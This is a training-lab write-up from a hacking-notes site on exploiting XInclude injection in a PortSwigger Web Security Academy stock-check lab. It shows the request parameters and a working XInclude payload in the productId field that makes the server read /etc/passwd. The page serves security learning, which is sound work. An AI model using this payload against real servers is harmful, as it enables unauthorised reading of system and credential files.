> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/file-reading-with-xinclude.md).

# File Reading with XInclude

File Reading with XInclude notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting XInclude to Retrieve Files

The lab has a **Check stock** feature that inserts the input provided by the user into a server-side XML document, then the scan. You do not control the entire XML document, so it is impossible to define a DTD for a classic XXE.

Use **XInclude** to recover the content of the **/etc/passwd** file by injecting an XInclude inclusion that will be resolved by the server-side parser.

* Settings initially sent: `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* Check: the value of `productId` is reinstated and analyzed by the server. For example `productId=test&storeId=1` is interpreted and reflected.

```
productId=test&storeId=1
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f314218f6c60ac41eaa8cd2433642001ffa3dc4a%2F%7B235A9544-6E3B-4CD1-BB05-A2504926ACEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injection of an XInclude inclusion into `productId` to force the playback of a local file.

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Example parameter sent:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

The parser interprets the XInclude inclusion and integrates `/etc/passwd` content into the analyzed document — the value provided in `productId` is processed and the file is read.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cb1d0e561d748b679ea0cb6372fa92cb7d42dcd%2F%7B892DA09C-F2B4-4560-AFF3-1797CF9AA322%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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